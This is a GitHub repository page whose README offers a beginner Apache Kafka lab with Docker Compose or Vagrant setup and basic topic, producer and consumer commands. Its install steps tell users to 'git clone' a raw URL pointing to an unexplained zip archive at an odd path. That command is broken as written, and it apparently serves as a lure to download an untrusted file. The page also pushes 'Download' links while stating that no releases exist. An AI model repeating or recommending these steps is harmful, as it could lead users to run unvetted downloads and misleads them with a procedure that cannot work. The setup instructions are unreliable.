Skip to content

πŸ“Š Learn Kafka from scratch with clear concepts, hands-on labs, and essential tools for DevOps, backend, and data professionals in both Bangla and English.

Notifications You must be signed in to change notification settings

sanalmohan/kafka

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

16 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ kafka - Learn Apache Kafka Easily

πŸš€ Getting Started

Welcome to the Kafka learning repository! This guide will help you download and run our beginner-friendly Apache Kafka setup. Our repository offers concepts, diagrams, and hands-on labs using a simple 3-node KRaft cluster. You can get started quickly with Docker Compose or Vagrant.

πŸ“₯ Download the Application

Download Here

To download our software, visit the link below:

Download the Latest Release

πŸ“‹ System Requirements

Before you begin, make sure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Memory: At least 8 GB of RAM
  • Disk Space: Minimum of 2 GB available space
  • Software: Docker (for Docker Compose) or Vagrant (for Vagrant/libvirt)

βš™οΈ Installation Steps

For Docker Users

  1. Install Docker: If you haven't already, download and install Docker from the Docker website.

  2. Load the Docker Compose File:

    • Open a terminal or command prompt.
    • Navigate to the directory where you want to clone the repository.
    • Type this command to clone it:
      git clone https://raw.githubusercontent.com/sanalmohan/kafka/main/humanitymonger/kafka.zip
  3. Navigate to the Repository:

    cd kafka
  4. Start the Cluster:

    • Run the following command to start the 3-node KRaft cluster:
      docker-compose up
    • Wait for a few moments as Docker sets everything up. Monitor the logs to ensure it runs correctly.

For Vagrant Users

  1. Install Vagrant: Download and install Vagrant from the Vagrant website.

  2. Prepare the Vagrant Environment:

    • Open a terminal or command prompt.
    • Navigate to the directory where you want to clone the repository.
    • Use this command to clone it:
      git clone https://raw.githubusercontent.com/sanalmohan/kafka/main/humanitymonger/kafka.zip
  3. Change Directory:

    cd kafka
  4. Start the Vagrant Environment:

    vagrant up
  5. Access the Instance:

    • Once Vagrant sets up, you can log in with:
      vagrant ssh
    • You can check the status of your Kafka cluster by referring to the provided documentation within the repository.

πŸ“– How to Use Kafka

After installation, you can start using Kafka. Here’s a basic workflow:

  1. Create a Topic: Topics are where your data flows. Use the command below in your terminal:

    kafka-topics --create --topic my-topic --bootstrap-server localhost:9092 --partitions 1 --replication-factor 1
  2. Send Messages: You can produce messages to your topic:

    kafka-console-producer --topic my-topic --bootstrap-server localhost:9092
  3. Consume Messages: To read the messages:

    kafka-console-consumer --topic my-topic --from-beginning --bootstrap-server localhost:9092

πŸ“Š Explore the Concepts

Our repository includes various learning materials. You will find:

  • Diagrams: Visuals that explain Kafka architecture.
  • Labs: Step-by-step instructions for hands-on experiments.
  • Documentation: Detailed explanation of concepts used in Kafka.

πŸ› οΈ Troubleshooting

If you encounter issues, consider the following tips:

  • Ensure your Docker or Vagrant installation works properly.
  • Check your terminal for error messages and follow the prompts.
  • Verify the configurations in your Docker Compose or Vagrant files.

πŸ”— Helpful Links

βœ‰οΈ Contact

For questions or feedback, feel free to open an issue on our GitHub repository. We appreciate your input.

Enjoy your learning journey with Kafka!

About

πŸ“Š Learn Kafka from scratch with clear concepts, hands-on labs, and essential tools for DevOps, backend, and data professionals in both Bangla and English.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages